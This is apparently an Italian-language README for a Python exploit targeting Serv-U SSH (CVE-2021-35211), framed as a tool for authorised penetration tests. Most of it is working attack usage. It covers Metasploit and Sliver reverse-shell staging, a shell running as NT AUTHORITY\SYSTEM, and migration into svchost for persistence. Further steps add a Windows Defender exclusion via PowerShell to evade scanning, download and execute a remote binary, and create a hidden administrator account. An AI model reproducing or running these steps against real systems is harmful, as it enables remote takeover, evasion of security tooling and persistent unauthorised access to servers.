
Exploit Python per la vulnerabilità Serv-U SSH (CVE-2021-35211) con molteplici modalità di payload: stage, exec e download-execute, che consentono l'esecuzione di shellcode e l'iniezione di comandi.
L'exploit non funziona sempre, ma funziona abbastanza spesso da eseguire lo shellcode in circa 1 esecuzione su 5 o 6. Tuttavia, a volte un exploit fallito può far crashare il server Serv-U. Assicurati che le tue regole di ingaggio consentano il rischio di perdita o degrado del servizio. I sintomi osservati nei test includono:
Caveat emptor.
Le versioni sono importanti. Questo exploit usa indirizzi ROP hard-coded validi solo contro la versione 15.2.3.717 di Serv-U. Potremmo essere in grado di aggiungere altre versioni, chiedi se ti serve che funzioni con versioni diverse di Serv-U o Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Accetta i seguenti argomenti:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Ci sono tre modalità (o payload) che puoi eseguire in un attacco riuscito:
stageexecdownloadexecIn caso di exploit riuscito, esegue uno stager di shellcode compatibile con Metasploit/Sliver. È il meno affidabile di tutti i payload; considera `downloadexec1 invece. Esegui in questo modo:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
stagePort Port number for your staging instance
optional arguments:
-h, --help show this help message and exit
stageHost e stagePort punteranno a un handler in ascolto sulla tua macchina Sliver/Metasploit. Puoi scegliere qualsiasi payload ti piaccia, ma ho scoperto che l'unico che funziona in modo affidabile è windows/x64/shell/reverse_tcp. È un peccato perché non è una shell cifrata e dovrai controllare le tue regole di ingaggio prima di aprire una shell del genere.
Di nuovo, caveat emptor.
Configuralo in Metasploit sulla tua macchina kali in questo modo:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Poi esegui l'exploit:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Tornando sulla macchina kali dovresti vedere la richiesta di stage e l'avvio della shell di comando:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
Il supporto di Sliver nel payload stager è altamente sperimentale e raramente funziona. Se funziona, normalmente vedrai le sessioni avviarsi e morire immediatamente. Ma se ottieni una sessione che non termina subito, puoi adottare misure per mantenere l'accesso a Sliver migrando verso un altro processo.
Sul tuo server Sliver esegui il comando stage-listener per configurare il listener. Consulta la documentazione di Sliver per maggiori dettagli sullo staging:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Esegui l'exploit in modalità stage:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Se l'exploit funziona (e funziona molto raramente con payload Sliver o Meterpreter), vedrai qualcosa del genere (e sì, Sliver ha inventato quel nome per il payload tutto da solo!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
La prima cosa da fare è migrare verso un altro processo perché c'è una buona probabilità che la tua sessione Sliver muoia e non torni più, e al momento in cui scrivo non conosco la causa principale.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
A questo punto dovresti avere una sessione Sliver stabile, immune ai capricci di Serv-U e di questo exploit.
La modalità più affidabile e quella con meno probabilità di essere segnalata da Microsoft Defender Endpoint Security. Questo perché usa un comando PowerShell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") per aggiungere un'esclusione di directory a Microsoft Defender, così che i binari di Sliver/Meterpreter/qualsiasi altra cosa non vengano scansionati come malware. Questo ti proteggerà da Windows Defender, ma solo da quello; dovrai mettere in conto altre tecnologie di sicurezza degli endpoint, IDS di rete, ecc.
In caso di successo, scarica un binario da un URL e lo esegue. Ti servirà un webserver che ospiti il tuo file eseguibile. Io ho usato Python, ma nota che sto testando su una rete locale senza SSL. In exploit reali dovrai controllare le tue regole di ingaggio se vuoi usare URL non cifrati.
Non è la prima volta: caveat emptor.
Avvia un semplice listener HTTP in questo modo:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Con il listener in esecuzione puoi lanciare l'exploit:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Dovresti vedere qualcosa del genere nel tuo listener:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
Il target eseguirà calc.exe e riavvierà il servizio Serv-U per consentire agli utenti di riconnettersi. Nota che l'eseguibile non mostrerà una finestra, ma se esegui questo esempio dovresti vedere wincalc.exe in Task Manager.
In caso di successo, esegue un comando sul target. Esegui in questo modo:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Purtroppo questo exploit tende a far crashare il processo remoto. Generalmente si riavvia e sto cercando di capire se posso renderlo più stabile, ma fino ad allora ricorda: controlla le tue regole di ingaggio e caveat emptor.
Il fatto che l'ASLR fosse disabilitato sulla dll di Serv-U è stata una fortuna pazzesca e ha evitato un sacco di problemi.
Anche altre mitigazioni, come Control Flow Guard ("CFG"), erano disabilitate. Anche questo ha reso facile scrivere un exploit senza dover aggirare l'accesso limitato a funzioni critiche come GetProcAddress().
Vale la pena sottolineare che il metodo che uso per calcolare l'indirizzo dello stack ROP può, occasionalmente, generare un indirizzo non allineato a 64 bit. Di conseguenza, quando GetProcAddress() raggiunge un'istruzione MOVAPS (che richiede indirizzi di memoria allineati), l'exploit crasha. Per rendere l'exploit più affidabile, una soluzione potrebbe essere forzare lo stack ROP a trovarsi su un indirizzo allineato; questo richiederebbe qualche aggiustamento del payload ROP e viene lasciato come esercizio al lettore.